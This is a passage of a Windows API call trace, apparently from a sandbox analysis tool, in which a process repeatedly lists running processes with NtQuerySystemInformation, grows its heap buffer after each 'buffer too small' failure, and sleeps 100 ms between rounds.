	[0070.249] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0070.249] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.249] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0070.249] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.250] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0070.250] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.251] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0070.251] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.251] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0070.251] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.252] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0070.252] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.252] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0070.252] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.253] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0070.253] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0070.255] Sleep (dwMilliseconds=0x64) 
	[0070.510] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28876a8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28876a8, ResultLength=0x0) returned 0xc0000004
	[0070.510] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28876a8, Size=0x2048) returned 0x28cb2d0
	[0070.510] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28cb2d0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28cb2d0, ResultLength=0x0) returned 0xc0000004
	[0070.510] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28cb2d0, Size=0x306c) returned 0x2894bd8
	[0070.511] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0070.511] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0070.511] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0070.511] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0070.512] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.512] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0070.512] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.512] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0070.512] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.513] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0070.513] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.513] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0070.513] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.513] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0070.514] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.514] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0070.514] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.514] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0070.514] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.515] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0070.515] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.515] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0070.515] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.515] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0070.515] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.516] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0070.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.516] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0070.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.517] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0070.517] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.517] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0070.519] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.519] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0070.520] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.520] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0070.520] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.520] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0070.520] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.521] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0070.521] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.521] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0070.521] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.522] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0070.522] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.522] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0070.522] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.523] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0070.523] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.523] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0070.523] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.523] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0070.524] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.524] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0070.524] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.524] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0070.525] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.525] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0070.525] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.525] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0070.526] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.526] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0070.526] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.526] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0070.527] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.527] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0070.527] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0070.529] Sleep (dwMilliseconds=0x64) 
	[0070.782] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2884390, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2884390, ResultLength=0x0) returned 0xc0000004
	[0070.782] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2884390, Size=0x2048) returned 0x28c6ec0
	[0070.782] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28c6ec0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28c6ec0, ResultLength=0x0) returned 0xc0000004
	[0070.783] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28c6ec0, Size=0x306c) returned 0x2894bd8
	[0070.783] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0070.783] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0070.783] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0070.783] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0070.784] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.784] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0070.784] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.785] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0070.785] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.785] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0070.785] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.785] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0070.785] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.785] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0070.786] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.786] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0070.786] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.786] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0070.786] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.787] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0070.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.787] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0070.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.787] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0070.787] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.788] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0070.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.788] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0070.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.788] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0070.789] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0070.789] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0070.791] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.791] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0070.791] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.792] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0070.792] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.792] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0070.792] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.792] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0070.793] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.793] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0070.793] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.793] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0070.793] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.794] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0070.794] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.794] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0070.794] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.795] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0070.795] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.795] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0070.795] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.796] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0070.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.796] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0070.796] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.797] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0070.797] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.797] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0070.797] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.798] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0070.798] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.798] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0070.798] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0070.799] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0070.799] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0070.799] Sleep (dwMilliseconds=0x64) 
	[0071.022] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28865a0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28865a0, ResultLength=0x0) returned 0xc0000004
	[0071.023] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28865a0, Size=0x2048) returned 0x28cb2d0
	[0071.023] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28cb2d0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28cb2d0, ResultLength=0x0) returned 0xc0000004
	[0071.023] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28cb2d0, Size=0x306c) returned 0x2894bd8
	[0071.023] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0071.023] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0071.023] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0071.024] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0071.024] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.024] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0071.024] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.024] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0071.024] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0071.024] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0071.024] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
